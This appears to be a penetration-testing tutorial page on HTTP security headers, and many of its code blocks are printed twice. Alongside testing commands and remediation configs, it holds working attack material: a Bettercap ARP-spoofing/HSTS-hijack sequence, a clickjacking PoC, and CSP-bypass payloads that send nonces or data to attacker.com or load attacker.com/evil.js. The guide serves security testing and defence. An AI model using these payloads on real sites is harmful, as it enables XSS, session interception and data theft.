Exploitation A05

Security Headers Testing

HTTP security headers are a critical defense layer. Missing or misconfigured headers enable clickjacking, XSS, MIME sniffing, SSL stripping, and data leakage attacks.

๐Ÿ”’ Why Security Headers Matter

Defense in Depth: Headers provide browser-enforced security controls that mitigate many common attacks
Low-Hanging Fruit: Missing security headers are among the most frequently reported findings in pentests
Compliance Requirements: Standards like PCI DSS, SOC 2, and OWASP explicitly require security headers
Easy to Fix: Security headers are typically simple to implement at the server/CDN level

๐Ÿ› ๏ธ Header Testing Tools

SecurityHeaders.com

Free online header scanner with grading

Website โ†’

Mozilla Observatory

Comprehensive security configuration assessment

Website โ†’

testssl.sh

SSL/TLS + header testing from command line

brew install testssl Website โ†’

Nuclei

Template-based header checks at scale

nuclei -t http/misconfiguration/

Burp Suite

Passive detection of missing headers

# Passive scan

CSP Evaluator

Google's CSP analysis tool

Website โ†’

1. Content-Security-Policy (CSP)

CSP controls which resources the browser is allowed to load. A weak or missing CSP dramatically increases XSS exploitability. Testing CSP is essential on every web pentest.

Testing CSP

bash
# Retrieve and analyze CSP header
curl -sI https://target.com | grep -i "content-security-policy"

# Common weak CSP patterns to look for:
# unsafe-inline            โ†’ Allows inline scripts (XSS exploitable)
# unsafe-eval              โ†’ Allows eval() (XSS exploitable)
# data: in script-src      โ†’ Allows data: URI scripts
# * or *.cdn.com           โ†’ Overly broad source allowlists
# Missing default-src      โ†’ No fallback policy
# Missing frame-ancestors  โ†’ Clickjacking possible

# CSP bypass via allowed CDNs (e.g., cdnjs.cloudflare.com)
# If a CDN hosts Angular/jQuery, attacker can load it and bypass CSP
# Example: script-src 'self' cdnjs.cloudflare.com;
# Bypass: <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
# Retrieve and analyze CSP header
curl -sI https://target.com | grep -i "content-security-policy"

# Common weak CSP patterns to look for:
# unsafe-inline            โ†’ Allows inline scripts (XSS exploitable)
# unsafe-eval              โ†’ Allows eval() (XSS exploitable)
# data: in script-src      โ†’ Allows data: URI scripts
# * or *.cdn.com           โ†’ Overly broad source allowlists
# Missing default-src      โ†’ No fallback policy
# Missing frame-ancestors  โ†’ Clickjacking possible

# CSP bypass via allowed CDNs (e.g., cdnjs.cloudflare.com)
# If a CDN hosts Angular/jQuery, attacker can load it and bypass CSP
# Example: script-src 'self' cdnjs.cloudflare.com;
# Bypass: <script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>

CSP Bypass Techniques

CSP Directive Weakness Bypass
script-src 'unsafe-inline' Allows inline scripts Standard XSS payloads work
script-src 'unsafe-eval' Allows eval() Use eval-based payloads
script-src *.google.com Broad CDN allowlist Host payload on Google Apps Script
script-src 'nonce-xxx' Nonce leaked or predictable Reuse leaked nonce value
No base-uri directive Base tag injection possible <base href="https://evil.com/">
No frame-ancestors Clickjacking possible Frame the target page

2. Strict-Transport-Security (HSTS)

HSTS forces browsers to use HTTPS, preventing SSL stripping attacks. Missing HSTS allows tools like sslstrip and Bettercap to downgrade connections.

bash
# Check HSTS header
curl -sI https://target.com | grep -i "strict-transport"

# Ideal HSTS header:
# Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

# Test for HSTS weaknesses:
# 1. Missing header entirely โ†’ SSL stripping possible
# 2. Low max-age (< 1 year) โ†’ Short protection window
# 3. Missing includeSubDomains โ†’ Subdomains vulnerable to downgrade
# 4. Not in HSTS preload list โ†’ First visit vulnerable

# Check preload status
# Visit: https://hstspreload.org/?domain=target.com

# SSL stripping attack with Bettercap
sudo bettercap -iface eth0
> net.probe on
> set arp.spoof.targets 192.168.1.100
> arp.spoof on
> set hstshijack.targets target.com
> hstshijack on
# Check HSTS header
curl -sI https://target.com | grep -i "strict-transport"

# Ideal HSTS header:
# Strict-Transport-Security: max-age=31536000; includeSubDomains; preload

# Test for HSTS weaknesses:
# 1. Missing header entirely โ†’ SSL stripping possible
# 2. Low max-age (< 1 year) โ†’ Short protection window
# 3. Missing includeSubDomains โ†’ Subdomains vulnerable to downgrade
# 4. Not in HSTS preload list โ†’ First visit vulnerable

# Check preload status
# Visit: https://hstspreload.org/?domain=target.com

# SSL stripping attack with Bettercap
sudo bettercap -iface eth0
> net.probe on
> set arp.spoof.targets 192.168.1.100
> arp.spoof on
> set hstshijack.targets target.com
> hstshijack on

3. X-Frame-Options & Clickjacking

Missing or weak framing controls allow clickjacking attacks where a user interacts with a transparent iframe over a fake page.

bash
# Check framing headers
curl -sI https://target.com | grep -iE "x-frame-options|frame-ancestors"

# Expected values:
# X-Frame-Options: DENY                    โ†’ Cannot be framed
# X-Frame-Options: SAMEORIGIN              โ†’ Only same-origin framing
# Content-Security-Policy: frame-ancestors 'none';    โ†’ CSP equivalent of DENY
# Content-Security-Policy: frame-ancestors 'self';    โ†’ CSP equivalent of SAMEORIGIN

# Note: CSP frame-ancestors supersedes X-Frame-Options in modern browsers
# Check framing headers
curl -sI https://target.com | grep -iE "x-frame-options|frame-ancestors"

# Expected values:
# X-Frame-Options: DENY                    โ†’ Cannot be framed
# X-Frame-Options: SAMEORIGIN              โ†’ Only same-origin framing
# Content-Security-Policy: frame-ancestors 'none';    โ†’ CSP equivalent of DENY
# Content-Security-Policy: frame-ancestors 'self';    โ†’ CSP equivalent of SAMEORIGIN

# Note: CSP frame-ancestors supersedes X-Frame-Options in modern browsers
html
<!-- Clickjacking PoC -->
<html>
<head><title>Clickjacking PoC</title></head>
<body>
<h1>Click the button to win a prize!</h1>
<div style="position: relative;">
  <button style="position: absolute; top: 0; left: 0; z-index: 1; 
    opacity: 0.001; width: 500px; height: 500px;">CLICK</button>
  <iframe src="https://target.com/settings/delete-account" 
    style="width: 500px; height: 500px; border: none; z-index: 0;">
  </iframe>
</div>
</body>
</html>
<!-- Clickjacking PoC -->
<html>
<head><title>Clickjacking PoC</title></head>
<body>
<h1>Click the button to win a prize!</h1>
<div style="position: relative;">
  <button style="position: absolute; top: 0; left: 0; z-index: 1; 
    opacity: 0.001; width: 500px; height: 500px;">CLICK</button>
  <iframe src="https://target.com/settings/delete-account" 
    style="width: 500px; height: 500px; border: none; z-index: 0;">
  </iframe>
</div>
</body>
</html>

4. Other Critical Headers

Header Purpose Recommended Value Attack if Missing
X-Content-Type-Options Prevent MIME sniffing nosniff MIME confusion / XSS via uploaded files
Referrer-Policy Control referrer leakage strict-origin-when-cross-origin Token/path leakage via Referer header
Permissions-Policy Restrict browser features camera=(), microphone=(), geolocation=() Unauthorized access to camera/mic/location
Cross-Origin-Opener-Policy Isolate browsing contexts same-origin Cross-origin window handle leaks (Spectre)
Cross-Origin-Embedder-Policy Require CORS for subresources require-corp Side-channel attacks (SharedArrayBuffer)
Cross-Origin-Resource-Policy Prevent cross-origin reads same-origin Cross-origin data leakage

5. Information Leakage Headers

bash
# Headers that leak server information (should be removed/hidden)
curl -sI https://target.com | grep -iE "server:|x-powered-by|x-aspnet|x-generator"

# Common leaky headers:
# Server: Apache/2.4.51 (Ubuntu)      โ†’ Reveals server + OS + version
# X-Powered-By: Express               โ†’ Reveals framework
# X-Powered-By: PHP/8.1.2             โ†’ Reveals language + version
# X-AspNet-Version: 4.0.30319         โ†’ Reveals .NET version
# X-AspNetMvc-Version: 5.2.7          โ†’ Reveals MVC version
# X-Generator: WordPress 6.4          โ†’ Reveals CMS + version

# These enable targeted CVE exploitation
# Headers that leak server information (should be removed/hidden)
curl -sI https://target.com | grep -iE "server:|x-powered-by|x-aspnet|x-generator"

# Common leaky headers:
# Server: Apache/2.4.51 (Ubuntu)      โ†’ Reveals server + OS + version
# X-Powered-By: Express               โ†’ Reveals framework
# X-Powered-By: PHP/8.1.2             โ†’ Reveals language + version
# X-AspNet-Version: 4.0.30319         โ†’ Reveals .NET version
# X-AspNetMvc-Version: 5.2.7          โ†’ Reveals MVC version
# X-Generator: WordPress 6.4          โ†’ Reveals CMS + version

# These enable targeted CVE exploitation

Automation Scripts

#!/bin/bash
# Security Headers Analyzer
TARGET="$1"

echo "[*] Analyzing security headers: $TARGET"

HEADERS=$(curl -sI "$TARGET")

check_header() {
    local header="$1"
    local result=$(echo "$HEADERS" | grep -i "^$header:" | head -1)
    if [ -n "$result" ]; then
        echo "  [+] $result"
    else
        echo "  [-] MISSING: $header"
    fi
}

echo ""
echo "=== Security Headers ==="
check_header "Strict-Transport-Security"
check_header "Content-Security-Policy"
check_header "X-Content-Type-Options"
check_header "X-Frame-Options"
check_header "Referrer-Policy"
check_header "Permissions-Policy"
check_header "Cross-Origin-Opener-Policy"
check_header "Cross-Origin-Embedder-Policy"
check_header "Cross-Origin-Resource-Policy"
check_header "X-XSS-Protection"

echo ""
echo "=== Info Leak Headers ==="
check_header "Server"
check_header "X-Powered-By"
check_header "X-AspNet-Version"
check_header "X-AspNetMvc-Version"

echo ""
echo "=== Cookie Flags ==="
echo "$HEADERS" | grep -i "set-cookie" | while read -r line; do
    echo "  Cookie: $line"
    if echo "$line" | grep -qi "secure"; then echo "    [+] Secure flag"; else echo "    [-] Missing Secure"; fi
    if echo "$line" | grep -qi "httponly"; then echo "    [+] HttpOnly flag"; else echo "    [-] Missing HttpOnly"; fi
    if echo "$line" | grep -qi "samesite"; then echo "    [+] SameSite set"; else echo "    [-] Missing SameSite"; fi
done
#!/bin/bash
# Security Headers Analyzer
TARGET="$1"

echo "[*] Analyzing security headers: $TARGET"

HEADERS=$(curl -sI "$TARGET")

check_header() {
    local header="$1"
    local result=$(echo "$HEADERS" | grep -i "^$header:" | head -1)
    if [ -n "$result" ]; then
        echo "  [+] $result"
    else
        echo "  [-] MISSING: $header"
    fi
}

echo ""
echo "=== Security Headers ==="
check_header "Strict-Transport-Security"
check_header "Content-Security-Policy"
check_header "X-Content-Type-Options"
check_header "X-Frame-Options"
check_header "Referrer-Policy"
check_header "Permissions-Policy"
check_header "Cross-Origin-Opener-Policy"
check_header "Cross-Origin-Embedder-Policy"
check_header "Cross-Origin-Resource-Policy"
check_header "X-XSS-Protection"

echo ""
echo "=== Info Leak Headers ==="
check_header "Server"
check_header "X-Powered-By"
check_header "X-AspNet-Version"
check_header "X-AspNetMvc-Version"

echo ""
echo "=== Cookie Flags ==="
echo "$HEADERS" | grep -i "set-cookie" | while read -r line; do
    echo "  Cookie: $line"
    if echo "$line" | grep -qi "secure"; then echo "    [+] Secure flag"; else echo "    [-] Missing Secure"; fi
    if echo "$line" | grep -qi "httponly"; then echo "    [+] HttpOnly flag"; else echo "    [-] Missing HttpOnly"; fi
    if echo "$line" | grep -qi "samesite"; then echo "    [+] SameSite set"; else echo "    [-] Missing SameSite"; fi
done

๐Ÿ›ก๏ธ Remediation & Defense

Recommended Header Configuration

nginx
# Recommended security headers (Nginx example)
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-ancestors 'none';" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=()" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Resource-Policy "same-origin" always;

# Remove information leakage headers
server_tokens off;
proxy_hide_header X-Powered-By;
proxy_hide_header Server;
# Recommended security headers (Nginx example)
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'; img-src 'self' data:; frame-ancestors 'none';" always;
add_header X-Content-Type-Options "nosniff" always;
add_header X-Frame-Options "DENY" always;
add_header Referrer-Policy "strict-origin-when-cross-origin" always;
add_header Permissions-Policy "camera=(), microphone=(), geolocation=(), payment=()" always;
add_header Cross-Origin-Opener-Policy "same-origin" always;
add_header Cross-Origin-Embedder-Policy "require-corp" always;
add_header Cross-Origin-Resource-Policy "same-origin" always;

# Remove information leakage headers
server_tokens off;
proxy_hide_header X-Powered-By;
proxy_hide_header Server;

CWE References: CWE-693 (Protection Mechanism Failure), CWE-1021 (Improper Restriction of Rendered UI Layers), CWE-16 (Configuration)

โœ… Security Headers Checklist

Critical Headers
  • โ˜ Content-Security-Policy present & strong
  • โ˜ Strict-Transport-Security with preload
  • โ˜ X-Frame-Options or frame-ancestors
  • โ˜ X-Content-Type-Options: nosniff
Important Headers
  • โ˜ Referrer-Policy configured
  • โ˜ Permissions-Policy set
  • โ˜ COOP/COEP/CORP headers
  • โ˜ Cookie flags (Secure, HttpOnly, SameSite)
Info Leakage
  • โ˜ Server header hidden/generic
  • โ˜ X-Powered-By removed
  • โ˜ Technology-specific headers removed
  • โ˜ Error pages don't leak stack traces

๐Ÿ”“ Advanced CSP Bypass Payloads

Warning

These techniques exploit CSP misconfigurations to achieve XSS execution even when a Content Security Policy is deployed. Always test in authorized environments only.

Nonce Extraction via Dangling Markup

If you can inject HTML before a nonced script tag, dangling markup can leak the nonce to an attacker-controlled server:

html
<!-- Inject an unclosed tag to capture the nonce in the request -->
<img src="https://attacker.com/collect?data=
<!-- The browser treats everything until the next quote as the src URL -->
<!-- If a nonced <script nonce="abc123"> follows, the nonce leaks in the request -->

<!-- Alternative: base tag injection (if base-uri not restricted) -->
<base href="https://attacker.com/">
<!-- All relative script src paths now resolve to attacker's server -->

<!-- Nonce reuse detection -->
<!-- If the nonce is the same across page loads, simply reuse it: -->
<script nonce="OBSERVED_NONCE">alert(document.domain)</script>
<!-- Inject an unclosed tag to capture the nonce in the request -->
<img src="https://attacker.com/collect?data=
<!-- The browser treats everything until the next quote as the src URL -->
<!-- If a nonced <script nonce="abc123"> follows, the nonce leaks in the request -->

<!-- Alternative: base tag injection (if base-uri not restricted) -->
<base href="https://attacker.com/">
<!-- All relative script src paths now resolve to attacker's server -->

<!-- Nonce reuse detection -->
<!-- If the nonce is the same across page loads, simply reuse it: -->
<script nonce="OBSERVED_NONCE">alert(document.domain)</script>

script-src Bypass via JSONP / CDN Endpoints

When the CSP allowlists a CDN or domain hosting JSONP callbacks, you can inject arbitrary JavaScript:

html
<!-- CSP: script-src cdn.example.com -->
<!-- If cdn.example.com hosts a JSONP endpoint: -->
<script src="https://cdn.example.com/api?callback=alert(document.domain)//"></script>

<!-- Google JSONP endpoints (if *.google.com or *.googleapis.com allowed): -->
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

<!-- Angular.js library bypass (if CDN hosts Angular): -->
<!-- CSP: script-src cdnjs.cloudflare.com -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

<!-- jQuery sourcemap bypass (if jQuery CDN allowed): -->
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<!--//# sourceMappingURL=https://attacker.com/steal?
<!-- CSP: script-src cdn.example.com -->
<!-- If cdn.example.com hosts a JSONP endpoint: -->
<script src="https://cdn.example.com/api?callback=alert(document.domain)//"></script>

<!-- Google JSONP endpoints (if *.google.com or *.googleapis.com allowed): -->
<script src="https://accounts.google.com/o/oauth2/revoke?callback=alert(1)"></script>

<!-- Angular.js library bypass (if CDN hosts Angular): -->
<!-- CSP: script-src cdnjs.cloudflare.com -->
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.3/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>

<!-- jQuery sourcemap bypass (if jQuery CDN allowed): -->
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<!--//# sourceMappingURL=https://attacker.com/steal?

strict-dynamic Bypass

The strict-dynamic directive allows scripts loaded by trusted scripts to execute โ€” this creates a chain of trust that can be exploited:

html
<!-- If you can inject into a page with: -->
<!-- CSP: script-src 'strict-dynamic' 'nonce-abc123' -->

<!-- Create a script element dynamically (propagates trust): -->
<script nonce="abc123">
  // If attacker controls any part of a trusted script's input:
  var s = document.createElement('script');
  s.src = 'https://attacker.com/evil.js';
  document.body.appendChild(s);  // Allowed by strict-dynamic!
</script>

<!-- DOM clobbering to hijack script creation: -->
<!-- If trusted JS does: document.getElementById('config').dataset.url -->
<a id="config" data-url="https://attacker.com/evil.js"></a>
<!-- If you can inject into a page with: -->
<!-- CSP: script-src 'strict-dynamic' 'nonce-abc123' -->

<!-- Create a script element dynamically (propagates trust): -->
<script nonce="abc123">
  // If attacker controls any part of a trusted script's input:
  var s = document.createElement('script');
  s.src = 'https://attacker.com/evil.js';
  document.body.appendChild(s);  // Allowed by strict-dynamic!
</script>

<!-- DOM clobbering to hijack script creation: -->
<!-- If trusted JS does: document.getElementById('config').dataset.url -->
<a id="config" data-url="https://attacker.com/evil.js"></a>

Hash-Based CSP Bypass

When CSP uses hash-based allowlisting, the exact script content must match. Look for ways to reuse existing hashed scripts:

bash
# Calculate the hash of an inline script for CSP inclusion
echo -n 'alert(1)' | openssl dgst -sha256 -binary | base64
# Result: script-src 'sha256-bhHHL3z2vDgxUt0W3dWQOrprscmda2Y5pLsLg4GF+pI='

# Check which hashes are in the CSP header
curl -sI https://target.com | grep -i "content-security-policy" | grep -oP "'sha256-[^']+'"

# If a page has an existing inline script that is hashed:
# Look for script injection points where you can match the exact hash
# by controlling the full script content (rare but possible in some CMSs)
# Calculate the hash of an inline script for CSP inclusion
echo -n 'alert(1)' | openssl dgst -sha256 -binary | base64
# Result: script-src 'sha256-bhHHL3z2vDgxUt0W3dWQOrprscmda2Y5pLsLg4GF+pI='

# Check which hashes are in the CSP header
curl -sI https://target.com | grep -i "content-security-policy" | grep -oP "'sha256-[^']+'"

# If a page has an existing inline script that is hashed:
# Look for script injection points where you can match the exact hash
# by controlling the full script content (rare but possible in some CMSs)

object-src and plugin Bypass

html
<!-- If object-src is not restricted (default-src doesn't cover object-src in CSP1): -->
<object data="data:text/html,<script>alert(1)</script>"></object>
<embed src="data:text/html,<script>alert(1)</script>">

<!-- Flash-based bypass (legacy): -->
<object type="application/x-shockwave-flash" data="https://attacker.com/xss.swf">
  <param name="AllowScriptAccess" value="always">
</object>
<!-- If object-src is not restricted (default-src doesn't cover object-src in CSP1): -->
<object data="data:text/html,<script>alert(1)</script>"></object>
<embed src="data:text/html,<script>alert(1)</script>">

<!-- Flash-based bypass (legacy): -->
<object type="application/x-shockwave-flash" data="https://attacker.com/xss.swf">
  <param name="AllowScriptAccess" value="always">
</object>

๐Ÿ” Permissions-Policy Testing & Bypass

The Permissions-Policy header (formerly Feature-Policy) controls which browser features a page can use. Testing for misconfigurations can reveal exploitable gaps:

bash
# Check Permissions-Policy header
curl -sI https://target.com | grep -i "permissions-policy"
# Example response: Permissions-Policy: camera=(), microphone=(), geolocation=(self)

# Common misconfigurations to test:
# 1. Missing header entirely โ†’ all features allowed
# 2. Overly permissive: camera=*, microphone=*
# 3. Allows iframes: camera=(self "https://trusted.com") but trusted.com has XSS
# 4. Missing critical directives (payment, usb, bluetooth)
# Check Permissions-Policy header
curl -sI https://target.com | grep -i "permissions-policy"
# Example response: Permissions-Policy: camera=(), microphone=(), geolocation=(self)

# Common misconfigurations to test:
# 1. Missing header entirely โ†’ all features allowed
# 2. Overly permissive: camera=*, microphone=*
# 3. Allows iframes: camera=(self "https://trusted.com") but trusted.com has XSS
# 4. Missing critical directives (payment, usb, bluetooth)

Feature Directives to Test

Directive Risk if Missing Bypass via
cameraWebcam access in iframesXSS on allowed origin
microphoneAudio recordingXSS on allowed origin
geolocationLocation trackingEmbed in allowed iframe
paymentPayment API abusePhishing via iframe
usbUSB device accessDirect page access if no restriction
display-captureScreen captureClickjacking for permission grant
autoplayBackground audio/videoUser interaction spoofing
javascript
// Browser console: test what features are available
// Check if camera access is allowed in current context
navigator.permissions.query({name: 'camera'}).then(r => console.log('Camera:', r.state));
navigator.permissions.query({name: 'microphone'}).then(r => console.log('Mic:', r.state));
navigator.permissions.query({name: 'geolocation'}).then(r => console.log('Geo:', r.state));

// Test from iframe context โ€” create iframe and check permissions
const iframe = document.createElement('iframe');
iframe.src = 'https://target.com/page';
iframe.allow = 'camera; microphone';  // Override permissions in iframe
document.body.appendChild(iframe);
// Browser console: test what features are available
// Check if camera access is allowed in current context
navigator.permissions.query({name: 'camera'}).then(r => console.log('Camera:', r.state));
navigator.permissions.query({name: 'microphone'}).then(r => console.log('Mic:', r.state));
navigator.permissions.query({name: 'geolocation'}).then(r => console.log('Geo:', r.state));

// Test from iframe context โ€” create iframe and check permissions
const iframe = document.createElement('iframe');
iframe.src = 'https://target.com/page';
iframe.allow = 'camera; microphone';  // Override permissions in iframe
document.body.appendChild(iframe);

๐Ÿงช Practice Labs

Evidence Collection

Missing Header Inventory: Capture the full HTTP response headers and document each missing security header (CSP, HSTS, X-Frame-Options, etc.) with the specific risk each absence introduces.

CSP Bypass Proof: If CSP is present but bypassable, demonstrate inline script execution or data exfiltration that the policy fails to prevent โ€” include the policy directive and the bypass payload.

Clickjacking PoC: When X-Frame-Options or CSP frame-ancestors is missing, create an HTML page that iframes the target and performs UI redress โ€” screenshot the overlaid attacker interface.

HSTS Gap Analysis: Document whether HSTS is set, its max-age value, includeSubDomains presence, and preload status โ€” test for SSL stripping on first visit or subdomain downgrade.

CVSS Range: 2.6 (informational missing header) โ€“ 8.1 (CSP bypass enabling stored XSS data exfiltration)

False Positive Identification

  • Informational Headers Only: Missing X-Content-Type-Options or X-XSS-Protection (deprecated) on an API-only endpoint with no HTML responses is informational, not exploitable.
  • Defense-in-Depth Context: A missing header that would only matter if another vulnerability exists (e.g., no X-Frame-Options but the page has no state-changing actions) should be noted but not rated as high severity.
  • CDN/Proxy Stripping: Some CDNs or reverse proxies strip or modify security headers โ€” verify at the origin server before reporting the application as misconfigured.
  • CSP Report-Only: Content-Security-Policy-Report-Only is intentionally non-enforcing for monitoring โ€” flag it as a finding only if there's no enforcing CSP alongside it.